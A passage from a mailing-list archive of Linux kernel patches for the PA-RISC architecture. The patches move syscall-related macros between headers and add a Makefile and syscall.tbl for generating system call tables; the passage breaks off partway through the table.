        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=KU6DXIIYUjCMDre4JgDcgc8e7hiA/7vLtU/zXJn/n5E=;
        b=sS1qvzW6xYVduCQtCS/Q6i/vs1+8kO5o5rdv9VQLoqw1LHCDPptSWFbMfuOqrDOE0C
         FScFVxs9xHEcBlxGGMgDEsDAevnmf/4uF1/dBIM1BRzwrP2Qwk1YqrwSLqLUqd+gn4Id
         +q806dO2mVW2akRqRjlrWFl0yBlQMyTM0N0HGJEuZmPy5yWPNWXxC6uQhBf84CrpEjyz
         A+/fQWX9Qap2CmhWrLQti03XWh9X9T0lE/6EIYUQYywagQGba/dPZxpg/bsDqF9oaiu3
         4QOZBGU/M7VEOdvup4Ja9J6x5zlRBjkbCh8w+tJfBmz9QN286nkVBpopcxC/HgS0q7Jn
         KUIA==
X-Gm-Message-State: ABuFfohxJv1uNVXSoeey+vDNf1qXZp8TH3PvhtChIbJrl/fsOpMox0Gj
        o6qV+8axaj6IWlKNlTsLvm7J6w==
X-Google-Smtp-Source: ACcGV60nSlXphrDivYOmfhjjUrI0lSkdHpPrLXmPYnoMx3ivz0juLRfO5C+38BrHgnvB0r+l3Y2rtA==
X-Received: by 2002:a17:902:a606:: with SMTP id u6-v6mr19537091plq.69.1539673452493;
        Tue, 16 Oct 2018 00:04:12 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.07
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:12 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900269 gmane.linux.ports.parisc:29196 gmane.linux.kernel.year-2038:3531 gmane.linux.kernel.cross-arch:47863
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900269>

All the __IGNORE* entries are resides in the uapi header
file move to non uapi header asm/unistd.h as it is not
used by any user space applications.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

One of the patch in this patch series will generate uapi
header file. The information which directly used by the
user space application must be present in uapi file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..93fd9f6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,12 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __IGNORE_select                /* newselect */
+#define __IGNORE_fadvise64             /* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 2/5] parisc: add __NR_syscalls along with __NR_Linux_syscalls
Date: Tue, 16 Oct 2018 12:33:35 +0530
Lines: 68
Approved: news@gmane.org
Message-ID: <1539673418-7279-3-git-send-email-firoz.khan@linaro.org>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673337 22355 195.159.176.226 (16 Oct 2018 07:02:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:17 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJMo-0005g9-JO
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:02:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727836AbeJPOxS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:18 -0400
Original-Received: from mail-pg1-f193.google.com ([209.85.215.193]:36329 "EHLO
        mail-pg1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727603AbeJPOxR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:17 -0400
Original-Received: by mail-pg1-f193.google.com with SMTP id f18-v6so10396297pgv.3
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=LxWmFvQhBF2jJwTFicVPM3wXKKOegEt5rsmKhLXvwFJ7+5t1caw9PfIVHihvrr3+FN
         wizs5h1OZDr1ed+5tX7J3gfYcL8eV0or+cHxj3gtfx4maGvZzUcgfgs5+sz9EKBgZTSR
         reHTZXVh5MlqFRrhdQtbWgIgu9pXPNzL1ceWc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=pOvXHVYh64SZpO2QBhb9lu8WortAelyL7CbJS5DyovuSO9Q91/uY8NCD5h1rG2PcVw
         zqFqgACZrlpYH/WWIVSqw4BQTl+YsdWidMrQQwpS+fv3wyErwyzx68XPmkKsDB8hMgOv
         psXVUs6T1icPSN5pX2azwkfkOEUdE+M3BLLTt4uxun3ympAIRBD5Bu8h5YRHSl3pBfsa
         ZToITMIRui797JXgB1nFowwaao9GbV2zfNF+FnsoVXyByzx4T5xQ7RCDPN4SPJvW0IDX
         UDVDQBQc2OQnqqOJGLI4QKITwmawmSodgiaYL0hnssePoCIudQQFF1RALQrsV/A/VuTA
         JeLg==
X-Gm-Message-State: ABuFfojo7eugdqB2gJYOfJMNXcok/xSv4s5Xd6GJK3hpe6EpE6Mmcssx
        0C9NNwFHVmURK+Ifl4MwcgqUvg==
X-Google-Smtp-Source: ACcGV62T7ClwqFF6oijL81mLD+e8pGRlw08UTtITH+aErZGrAI9FZBN32oV4yVlF3tTye2Vc/Xsp0w==
X-Received: by 2002:a62:ce83:: with SMTP id y125-v6mr20957910pfg.201.1539673457368;
        Tue, 16 Oct 2018 00:04:17 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.12
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:16 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900270 gmane.linux.ports.parisc:29197 gmane.linux.kernel.year-2038:3532 gmane.linux.kernel.cross-arch:47864
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900270>

__NR_Linux_syscalls macro holds the number of system call
exist in PARISC architecture. This macro is currently the
part of uapi/asm/unistd.h file. We have to change the value
of __NR_Linux_syscalls, if we add or delete a system call.

One of the patch in this patch series has a script which
will generate a uapi header based on syscall.tbl file. The
syscall.tbl file contains the number of system call inform-
ation. So we have two option to update __NR_Linux_syscalls
value.

1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
   by counting the no.of system calls. No need to update
   __NR_Linux_syscalls until we either add a new system call
   or delete an existing system call.

2. We can keep this feature it above mentioned script, that
   will count the number of syscalls and keep it in a gener-
   ated file. In this case we don't need to explicitly update
   __NR_Linux_syscalls in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I moved
the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
unistd.h. The macro __NR_syscalls also added for making the
name convention same across all architecture. While __NR_sys-
calls isn't strictly part of the uapi, having it as part of
the generated header to simplifies the implementation. We also
need to enclose this macro with #ifdef __KERNEL__ to avoid
side effects.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 2 ++
 arch/parisc/include/uapi/asm/unistd.h | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 93fd9f6..d30fdbcb 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -4,6 +4,8 @@
 
 #include <uapi/asm/unistd.h>
 
+#define __NR_Linux_syscalls     __NR_syscalls
+
 #ifndef __ASSEMBLY__
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..f10d065 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,9 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#ifdef __KERNEL__
+#define __NR_syscalls           351
+#endif
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 3/5] parisc: add system call table generation support
Date: Tue, 16 Oct 2018 12:33:36 +0530
Lines: 571
Approved: news@gmane.org
Message-ID: <1539673418-7279-4-git-send-email-firoz.khan@linaro.org>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673341 22581 195.159.176.226 (16 Oct 2018 07:02:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:21 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJMt-0005kd-4i
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:02:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727873AbeJPOxY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:24 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:43197 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727658AbeJPOxX (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:23 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id 30-v6so10513840plb.10
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hjgAwPtShwhF0rTfRgHSxb0lg2RDLAa+g5U20n6dDg0=;
        b=WawNAJQcdKns9LSWe5+eowZUAqCah2u7/+vZb9OvretI0t5U+Lnrkegny6YZ4wNXk+
         /M10ou1V9p7cH3oZsqK+LQ7j8RZ4jzuD5tLjpABjwmRRWsZ0mrMXUa2aLCYdtzl9YAnM
         82OayoNQBexnY9t6+z29eR5vYxLYp73NJc5No=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=hjgAwPtShwhF0rTfRgHSxb0lg2RDLAa+g5U20n6dDg0=;
        b=ap1yKEnOs5Trr04aOBCoxr1rhJZut0C4bm/M2IhycY0MP6sBZLo9Q/uAA5vmYzfQvH
         YF3YsEgxjz1XybpdfURT/q9rEinIUTbWIu+pkPuozO1DwPJzylIKflrnScRDls+H8FX/
         KR2VU8elegTTaaflb79g9Oxnc1/Y4hxxKBewSIvyxfIe8zYHNwxd4j1vL/KLCMXNkh+d
         zt4Qwu3xXKGZaLVP6/DGCTMixSnPz7vUFCCaW5WrFcEPLNYcbIG4AUtNF0YC8QVe+5cH
         uFByA/IY4DjtNxx5erGjzWkbHuLbW+n6TiKx4m95+JTGy9zx+46tG21rXSDblhCj5KkF
         vnFw==
X-Gm-Message-State: ABuFfohzgWVwebu9PRdrAJ7zO9bbQUBE07lnB66b/8Y0blpBjv3XVC30
        ZFEuhnzWOtdaOBZj9mIocr8zeQ==
X-Google-Smtp-Source: ACcGV631WkjNi1n2J1n5JJqOQbkALENFOQU8HB+sYVA2KFSG9IXfGJ07GtVOi5AwXN4cDLdDTfSTAg==
X-Received: by 2002:a17:902:3a5:: with SMTP id d34-v6mr20090485pld.231.1539673462540;
        Tue, 16 Oct 2018 00:04:22 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.17
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:22 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900271 gmane.linux.ports.parisc:29198 gmane.linux.kernel.year-2038:3533 gmane.linux.kernel.cross-arch:47865
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900271>

The system call tables are in different format in all
architecture and it will be difficult to manually add or
modify the system calls in the respective files. To make
it easy by keeping a script and which willll generate the
uapi header and syscall table file. This change will also
help to unify the implementation across all architectures.

The system call table generation script is added in
syscalls directory which contain the script to generate
both uapi header file and system call table files.
The syscall.tbl file will be the input for the scripts.

syscall.tbl contains the list of available system calls
along with system call number and corresponding entry point.
Add a new system call in this architecture will be possible
by adding new entry in the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header-
unistd_32/64.h and syscall_table_32/64/c32.h files respect-
ively. File syscall_table_32/64/c32.h is included by sys-
call.S - the real system call table. Both .sh files will
parse the content syscall.tbl to generate the header and
table files.

ARM, s390 and x86 architecuture does have the similar support.
I leverage their implementation to come up with a generic
solution.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile      |  57 +++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  34 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  36 +++
 4 files changed, 496 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..1701ab0
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,57 @@
+# SPDX-License-Identifier: GPL-2.0
+kapi := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
+	  $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
+
+syscall := $(srctree)/$(src)/syscall.tbl
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
+		   '$(syshdr_abis_$(basetarget))'         \
+		   '$(syshdr_pfx_$(basetarget))'          \
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
+		   '$(systbl_abis_$(basetarget))'         \
+		   '$(systbl_abi_$(basetarget))'          \
+		   '$(systbl_offset_$(basetarget))'
+
+syshdr_abis_unistd_32 := common,32
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_abis_unistd_64 := common,64
+syshdr_offset_unistd_64 := __NR_Linux
+$(uapi)/unistd_64.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abis_syscall_table_32 := common,32
+$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abis_syscall_table_64 := common,64
+$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abis_syscall_table_c32 := common,32
+systbl_abi_syscall_table_c32 := c32
+$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y		+= unistd_32.h unistd_64.h
+kapisyshdr-y		+= syscall_table_32.h     \
+			   syscall_table_64.h     \
+			   syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(kapisyshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(kapi)/,$(kapisyshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
new file mode 100644
index 0000000..9bbd2f9
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -0,0 +1,369 @@
+# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
+#
+# system call numbers and entry vectors for parisc
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The <abi> can be common, 64, or 32 for this file.
+#
+0	common	restart_syscall		sys_restart_syscall
+1	common	exit			sys_exit
+2	common	fork			sys_fork_wrapper
+3	common	read			sys_read
+4	common	write			sys_write
+5	common	open			sys_open			compat_sys_open
+6	common	close			sys_close
+7	common	waitpid			sys_waitpid
+8	common	creat			sys_creat
+9	common	link			sys_link
+10	common	unlink			sys_unlink
+11	common	execve			sys_execve			compat_sys_execve
+12	common	chdir			sys_chdir
+13	common	time			sys_time			compat_sys_time
+14	common	mknod			sys_mknod
+15	common	chmod			sys_chmod
+16	common	lchown			sys_lchown
+17	common	socket			sys_socket
+18	common	stat			sys_newstat			compat_sys_newstat
+19	common	lseek			sys_lseek			compat_sys_lseek
+20	common	getpid			sys_getpid
+21	common	mount			sys_mount			compat_sys_mount
+22	common	bind			sys_bind
+23	common	setuid			sys_setuid
+24	common	getuid			sys_getuid
+25	common	stime			sys_stime			compat_sys_stime
+26	common	ptrace			sys_ptrace			compat_sys_ptrace
+27	common	alarm			sys_alarm
+28	common	fstat			sys_newfstat			compat_sys_newfstat
+29	common	pause			sys_pause
+30	common	utime			sys_utime			compat_sys_utime
+31	common	connect			sys_connect
+32	common	listen			sys_listen
+33	common	access			sys_access
+34	common	nice			sys_nice
+35	common	accept			sys_accept
+36	common	sync			sys_sync
+37	common	kill			sys_kill
+38	common	rename			sys_rename
+39	common	mkdir			sys_mkdir
+40	common	rmdir			sys_rmdir
+41	common	dup			sys_dup
+42	common	pipe			sys_pipe
+43	common	times			sys_times			compat_sys_times
+44	common	getsockname		sys_getsockname
+45	common	brk			sys_brk
+46	common	setgid			sys_setgid
+47	common	getgid			sys_getgid
+48	common	signal			sys_signal
+49	common	geteuid			sys_geteuid
+50	common	getegid			sys_getegid
+51	common	acct			sys_acct
+52	common	umount2			sys_umount
+53	common	getpeername		sys_getpeername
+54	common	ioctl			sys_ioctl			compat_sys_ioctl
+55	common	fcntl			sys_fcntl			compat_sys_fcntl
+56	common	socketpair		sys_socketpair
+57	common	setpgid			sys_setpgid
+58	common	send			sys_send
+59	common	uname			sys_newuname
+60	common	umask			sys_umask
+61	common	chroot			sys_chroot
+62	common	ustat			sys_ustat			compat_sys_ustat
+63	common	dup2			sys_dup2
+64	common	getppid			sys_getppid
+65	common	getpgrp			sys_getpgrp
+66	common	setsid			sys_setsid
+67	common	pivot_root		sys_pivot_root
+68	common	sgetmask		sys_sgetmask			sys32_unimplemented
+69	common	ssetmask		sys_ssetmask			sys32_unimplemented
+70	common	setreuid		sys_setreuid
+71	common	setregid		sys_setregid
+72	common	mincore			sys_mincore
+73	common	sigpending		sys_sigpending			compat_sys_sigpending
+74	common	sethostname		sys_sethostname
+75	common	setrlimit		sys_setrlimit			compat_sys_setrlimit
+76	common	getrlimit		sys_getrlimit			compat_sys_getrlimit
+77	common	getrusage		sys_getrusage			compat_sys_getrusage
+78	common	gettimeofday		sys_gettimeofday		compat_sys_gettimeofday
+79	common	settimeofday		sys_settimeofday		compat_sys_settimeofday
+80	common	getgroups		sys_getgroups
+81	common	setgroups		sys_setgroups
+82	common	sendto			sys_sendto
+83	common	symlink			sys_symlink
+84	common	lstat			sys_newlstat			compat_sys_newlstat
+85	common	readlink		sys_readlink
+86	common	uselib			sys_ni_syscall
+87	common	swapon			sys_swapon
+88	common	reboot			sys_reboot
+89	common	mmap2			sys_mmap2
+90	common	mmap			sys_mmap
+91	common	munmap			sys_munmap
+92	common	truncate		sys_truncate			compat_sys_truncate
+93	common	ftruncate		sys_ftruncate			compat_sys_ftruncate
+94	common	fchmod			sys_fchmod
+95	common	fchown			sys_fchown
+96	common	getpriority		sys_getpriority
+97	common	setpriority		sys_setpriority
+98	common	recv			sys_recv
+99	common	statfs			sys_statfs			compat_sys_statfs
+100	common	fstatfs			sys_fstatfs			compat_sys_fstatfs
+101	common	stat64			sys_stat64
+# 102 was socketcall
+103	common	syslog			sys_syslog
+104	common	setitimer		sys_setitimer			compat_sys_setitimer
+105	common	getitimer		sys_getitimer			compat_sys_getitimer
+106	common	capget			sys_capget
+107	common	capset			sys_capset
+108	32	pread64			parisc_pread64
+108	64	pread64			sys_pread64
+109	32	pwrite64		parisc_pwrite64
+109	64	pwrite64		sys_pwrite64
+110	common	getcwd			sys_getcwd
+111	common	vhangup			sys_vhangup
+112	common	fstat64			sys_fstat64
+113	common	vfork			sys_vfork_wrapper
+114	common	wait4			sys_wait4			compat_sys_wait4
+115	common	swapoff			sys_swapoff
+116	common	sysinfo			sys_sysinfo			compat_sys_sysinfo
+117	common	shutdown		sys_shutdown
+118	common	fsync			sys_fsync
+119	common	madvise			sys_madvise
+120	common	clone			sys_clone_wrapper
+121	common	setdomainname		sys_setdomainname
+122	common	sendfile		sys_sendfile			compat_sys_sendfile
+123	common	recvfrom		sys_recvfrom
+124	common	adjtimex		sys_adjtimex			compat_sys_adjtimex
+125	common	mprotect		sys_mprotect
+126	common	sigprocmask		sys_sigprocmask			compat_sys_sigprocmask
+# 127 was create_module
+128	common	init_module		sys_init_module
+129	common	delete_module		sys_delete_module
+# 130 was get_kernel_syms
+131	common	quotactl		sys_quotactl
+132	common	getpgid			sys_getpgid
+133	common	fchdir			sys_fchdir
+134	common	bdflush			sys_bdflush
+135	common	sysfs			sys_sysfs
+136	32	personality		parisc_personality
+136	64	personality		sys_personality
+# 137 was afs_syscall
+138	common	setfsuid		sys_setfsuid
+139	common	setfsgid		sys_setfsgid
+140	common	_llseek			sys_llseek
+141	common	getdents		sys_getdents			compat_sys_getdents
+142	common	_newselect		sys_select			compat_sys_select
+143	common	flock			sys_flock
+144	common	msync			sys_msync
+145	common	readv			sys_readv			compat_sys_readv
+146	common	writev			sys_writev			compat_sys_writev
+147	common	getsid			sys_getsid
+148	common	fdatasync		sys_fdatasync
+149	common	_sysctl			sys_sysctl			compat_sys_sysctl
+150	common	mlock			sys_mlock
+151	common	munlock			sys_munlock
+152	common	mlockall		sys_mlockall
+153	common	munlockall		sys_munlockall
+154	common	sched_setparam		sys_sched_setparam
+155	common	sched_getparam		sys_sched_getparam
+156	common	sched_setscheduler	sys_sched_setscheduler
+157	common	sched_getscheduler	sys_sched_getscheduler
+158	common	sched_yield		sys_sched_yield
+159	common	sched_get_priority_max	sys_sched_get_priority_max
+160	common	sched_get_priority_min	sys_sched_get_priority_min
+161	common	sched_rr_get_interval	sys_sched_rr_get_interval	compat_sys_sched_rr_get_interval
+162	common	nanosleep		sys_nanosleep			compat_sys_nanosleep
+163	common	mremap			sys_mremap
+164	common	setresuid		sys_setresuid
+165	common	getresuid		sys_getresuid
+166	common	sigaltstack		sys_sigaltstack			compat_sys_sigaltstack
+# 167 was query_module
+168	common	poll			sys_poll
+# 169 was nfsservctl
+170	common	setresgid		sys_setresgid
+171	common	getresgid		sys_getresgid
+172	common	prctl			sys_prctl
+173	common	rt_sigreturn		sys_rt_sigreturn_wrapper
+174	common	rt_sigaction		sys_rt_sigaction		compat_sys_rt_sigaction
+175	common	rt_sigprocmask		sys_rt_sigprocmask		compat_sys_rt_sigprocmask
+176	common	rt_sigpending		sys_rt_sigpending		compat_sys_rt_sigpending
+177	common	rt_sigtimedwait		sys_rt_sigtimedwait		compat_sys_rt_sigtimedwait
+178	common	rt_sigqueueinfo		sys_rt_sigqueueinfo		compat_sys_rt_sigqueueinfo
+179	common	rt_sigsuspend		sys_rt_sigsuspend		compat_sys_rt_sigsuspend
+180	common	chown			sys_chown
+181	common	setsockopt		sys_setsockopt			compat_sys_setsockopt
+182	common	getsockopt		sys_getsockopt			compat_sys_getsockopt
+183	common	sendmsg			sys_sendmsg			compat_sys_sendmsg
+184	common	recvmsg			sys_recvmsg			compat_sys_recvmsg
